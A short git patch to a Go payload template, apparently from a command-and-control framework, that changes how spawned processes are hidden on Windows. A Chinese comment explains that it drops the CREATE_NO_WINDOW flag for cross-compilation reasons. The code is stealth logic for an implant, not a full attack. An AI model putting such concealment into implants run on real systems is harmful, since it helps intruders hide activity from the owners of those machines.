From c5e2f0d95db1681b5e871202db96029eecb14721 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=85=AC=E6=98=8E?=
 <83812544+Ed1s0nZ@users.noreply.github.com>
Date: Thu, 11 Jun 2026 16:02:48 +0800
Subject: [PATCH] Add files via upload

---
 internal/c2/payload_templates/proc_hide_windows.go.tmpl | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/internal/c2/payload_templates/proc_hide_windows.go.tmpl b/internal/c2/payload_templates/proc_hide_windows.go.tmpl
index f26f60cd..3e514adf 100644
--- a/internal/c2/payload_templates/proc_hide_windows.go.tmpl
+++ b/internal/c2/payload_templates/proc_hide_windows.go.tmpl
@@ -12,8 +12,7 @@ func prepareHiddenCmd(cmd *exec.Cmd) {
 	if cmd == nil {
 		return
 	}
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: syscall.CREATE_NO_WINDOW,
-	}
+	// 仅用 HideWindow：等价于 CREATE_NO_WINDOW，且 macOS/Linux 交叉编译 Windows 时
+	// syscall.CREATE_NO_WINDOW 常量不可用。
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
 }